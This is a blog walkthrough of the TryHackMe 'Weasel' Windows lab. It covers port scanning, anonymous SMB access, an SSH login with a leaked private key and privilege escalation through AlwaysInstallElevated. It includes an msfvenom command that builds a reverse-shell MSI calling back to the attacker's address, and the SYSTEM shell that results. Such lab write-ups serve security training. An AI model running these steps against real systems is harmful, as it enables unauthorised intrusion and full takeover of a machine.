Post

Weasel

Posted Updated
Windows Medium Level Machine 🎯
Windows Medium Level Machine 🎯
By Shivendra Prajapati 6 min read

Port Scan Results ⤵️

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┌──(kali㉿kali)-[~/Downloads/Tryhackme/Weasel]
└─$ sudo nmap -sC -sV -T4 -p- -oN Nmap_Results.txt 10.10.161.35 -Pn
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-03 21:07 IST
Nmap scan report for 10.10.161.35
Host is up (0.18s latency).
Not shown: 65520 closed tcp ports (reset)
PORT      STATE SERVICE       VERSION
22/tcp    open  ssh           OpenSSH for_Windows_7.7 (protocol 2.0)
| ssh-hostkey: 
|   2048 2b:17:d8:8a:1e:8c:99:bc:5b:f5:3d:0a:5e:ff:5e:5e (RSA)
|   256 3c:c0:fd:b5:c1:57:ab:75:ac:81:10:ae:e2:98:12:0d (ECDSA)
|_  256 e9:f0:30:be:e6:cf:ef:fe:2d:14:21:a0:ac:45:7b:70 (ED25519)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info: 
|   Target_Name: DEV-DATASCI-JUP
|   NetBIOS_Domain_Name: DEV-DATASCI-JUP
|   NetBIOS_Computer_Name: DEV-DATASCI-JUP
|   DNS_Domain_Name: DEV-DATASCI-JUP
|   DNS_Computer_Name: DEV-DATASCI-JUP
|   Product_Version: 10.0.17763
|_  System_Time: 2024-03-03T15:43:45+00:00
|_ssl-date: 2024-03-03T15:43:55+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=DEV-DATASCI-JUP
| Not valid before: 2024-03-02T15:32:27
|_Not valid after:  2024-09-01T15:32:27
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
8888/tcp  open  http          Tornado httpd 6.0.3
| http-robots.txt: 1 disallowed entry 
|_/ 
| http-title: Jupyter Notebook
|_Requested resource was /login?next=%2Ftree%3F
|_http-server-header: TornadoServer/6.0.3
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC
49670/tcp open  msrpc         Microsoft Windows RPC
49672/tcp open  msrpc         Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2024-03-03T15:43:50
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required

SMB Enumeration ⤵️

With netexec Tool I check smb shares ->

Image Lets access datasci-team share 🔽

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┌──(kali㉿kali)-[~/Downloads/Tryhackme/Weasel]
└─$ smbclient //10.10.161.35/datasci-team -U Anonymous       
Password for [WORKGROUP\Anonymous]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Sun Mar  3 21:12:45 2024
  ..                                  D        0  Sun Mar  3 21:12:45 2024
  .ipynb_checkpoints                 DA        0  Thu Aug 25 20:56:47 2022
  Long-Tailed_Weasel_Range_-_CWHR_M157_[ds1940].csv      A      146  Thu Aug 25 20:56:46 2022
  misc                               DA        0  Thu Aug 25 20:56:47 2022
  MPE63-3_745-757.pdf                 A   414804  Thu Aug 25 20:56:46 2022
  papers                             DA        0  Thu Aug 25 20:56:47 2022
  pics                               DA        0  Thu Aug 25 20:56:47 2022
  requirements.txt                    A       12  Thu Aug 25 20:56:46 2022
  weasel.ipynb                        A     4308  Thu Aug 25 20:56:46 2022
  weasel.txt                          A       51  Thu Aug 25 20:56:46 2022

		15587583 blocks of size 4096. 8949568 blocks available
smb: \> recurse on
smb: \> prompt off
smb: \> mget *
getting file \Long-Tailed_Weasel_Range_-_CWHR_M157_[ds1940].csv of size 146 as Long-Tailed_Weasel_Range_-_CWHR_M157_[ds1940].csv (0.2 KiloBytes/sec) (average 0.2 KiloBytes/sec)
getting file \MPE63-3_745-757.pdf of size 414804 as MPE63-3_745-757.pdf (186.6 KiloBytes/sec) (average 141.5 KiloBytes/sec)

Web Enumeration ⤵️

Image

Image

I got the ssh private key of user dev-datasci-lowpriv so lets ssh into the shell 🔽

SSH Shell ⤵️

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┌──(kali㉿kali)-[~/Downloads/Tryhackme/Weasel]
└─$ ssh -i id_rsa dev-datasci-lowpriv@10.10.161.35

Microsoft Windows [Version 10.0.17763.3287]
(c) 2018 Microsoft Corporation. All rights reserved.

dev-datasci-lowpriv@DEV-DATASCI-JUP C:\Users\dev-datasci-lowpriv>
dev-datasci-lowpriv@DEV-DATASCI-JUP C:\Users\dev-datasci-lowpriv>whoami
dev-datasci-jup\dev-datasci-lowpriv

dev-datasci-lowpriv@DEV-DATASCI-JUP C:\Users\dev-datasci-lowpriv>whoami /all

USER INFORMATION
----------------

User Name                           SID
=================================== =============================================
dev-datasci-jup\dev-datasci-lowpriv S-1-5-21-2336295375-1619315875-398172279-1000


GROUP INFORMATION
-----------------

Group Name                             Type             SID          Attributes
====================================== ================ ============ ==================================================   
Everyone                               Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group   
BUILTIN\Users                          Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group   
NT AUTHORITY\NETWORK                   Well-known group S-1-5-2      Mandatory group, Enabled by default, Enabled group   
NT AUTHORITY\Authenticated Users       Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group   
NT AUTHORITY\This Organization         Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group   
NT AUTHORITY\Local account             Well-known group S-1-5-113    Mandatory group, Enabled by default, Enabled group   
NT AUTHORITY\NTLM Authentication       Well-known group S-1-5-64-10  Mandatory group, Enabled by default, Enabled group   
Mandatory Label\Medium Mandatory Level Label            S-1-16-8192


PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== =======
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled


dev-datasci-lowpriv@DEV-DATASCI-JUP C:\Users\dev-datasci-lowpriv>
dev-datasci-lowpriv@DEV-DATASCI-JUP C:\Users\dev-datasci-lowpriv>tree /f /a
Folder PATH listing 
Volume serial number is 8AA3-53D1
C:.
+---.ssh
|       authorized_keys
|       id_ed25519
|       id_ed25519.pub
|
+---3D Objects
+---Contacts
+---Desktop
|       python-3.10.6-amd64.exe
|       user.txt
|
+---Documents
+---Downloads
+---Favorites
|   |   Bing.url
|   |
|   \---Links
+---Links
|       id_ed25519.pub
|
+---3D Objects
+---Contacts
+---Desktop
|       python-3.10.6-amd64.exe
|       user.txt
|
+---Documents
+---Downloads
+---Favorites
|   |   Bing.url
|   |
|   \---Links
+---Links
|       Desktop.lnk
|       Downloads.lnk
|
+---Music
+---Pictures
+---Saved Games
+---Searches
\---Videos

dev-datasci-lowpriv@DEV-DATASCI-JUP C:\Users\dev-datasci-lowpriv>

I then uploaded winpeas.exe Tool into this machine with certutil.exe Tool.

I got this credential -> Image also I got one major vulnerability that can be exploited with any user privilege -> Image AlwaysInstallElevated Privileges are Enabled so lets exploit that ->

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┌──(kali㉿kali)-[~/Downloads/Tryhackme/Weasel]
└─$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.11.75.200 LPORT=445 -f msi -o shell.msi
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of msi file: 159744 bytes
Saved as: shell.msi

Image

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C:\Windows\system32>whoami
whoami
nt authority\system

C:\Windows\system32>cd C:\Users\Administrator
cd C:\Users\Administrator

C:\Users\Administrator>tree /f /a
tree /f /a
Folder PATH listing
Volume serial number is 8AA3-53D1
C:.
+---.ssh
|       authorized_keys
|       id_ed25519
|       id_ed25519.pub
|       
+---.vscode
|   |   argv.json
|   |   
|   \---extensions
|       \---dracula-theme.theme-dracula-2.24.2
|           |   .gitignore
|           |   .vsixmanifest
|           |   CHANGELOG.md
|           |   icon.png
|           |   INSTALL.md
|           |   LICENSE.txt
|           |   package.json
|           |   README.md
|           |   screenshot.png
|           |   
|           \---theme
|                   dracula-soft.json
|                   dracula.json
|                   
+---3D Objects
+---Contacts
+---Desktop
|       banner.txt
|       ChromeSetup.exe
|       python-3.10.6-amd64.exe
|       root.txt
|       Ubuntu2004-220404.appxbundle
|       Visual Studio Code.lnk
|       
+---Documents
+---Downloads
|       Microsoft.WindowsTerminalPreview_Win10_1.15.2282.0_8wekyb3d8bbwe.msixbundle
|       python-3.10.6-amd64.exe
|       Ubuntu2004-220404.appxbundle
|       Unconfirmed 415620.crdownload
|       VSCodeUserSetup-x64-1.70.2.exe
|       
+---Favorites
|   |   Bing.url
|   |   
|   \---Links
+---Links
|       Desktop.lnk
|       Downloads.lnk
|       
+---Music
+---Pictures
+---Saved Games
+---Searches
\---Videos

C:\Users\Administrator>type Desktop\root.txt
type Desktop\root.txt
THM{FLAG_FLAG_FLAG_FLAG_FLAG}
C:\Users\Administrator>

I am Administrator Now !!

If you have any questions or suggestions, please leave a comment below. Thank You !

TryHackMe
Windows PrivEsc
This post is licensed under CC BY 4.0 by the author.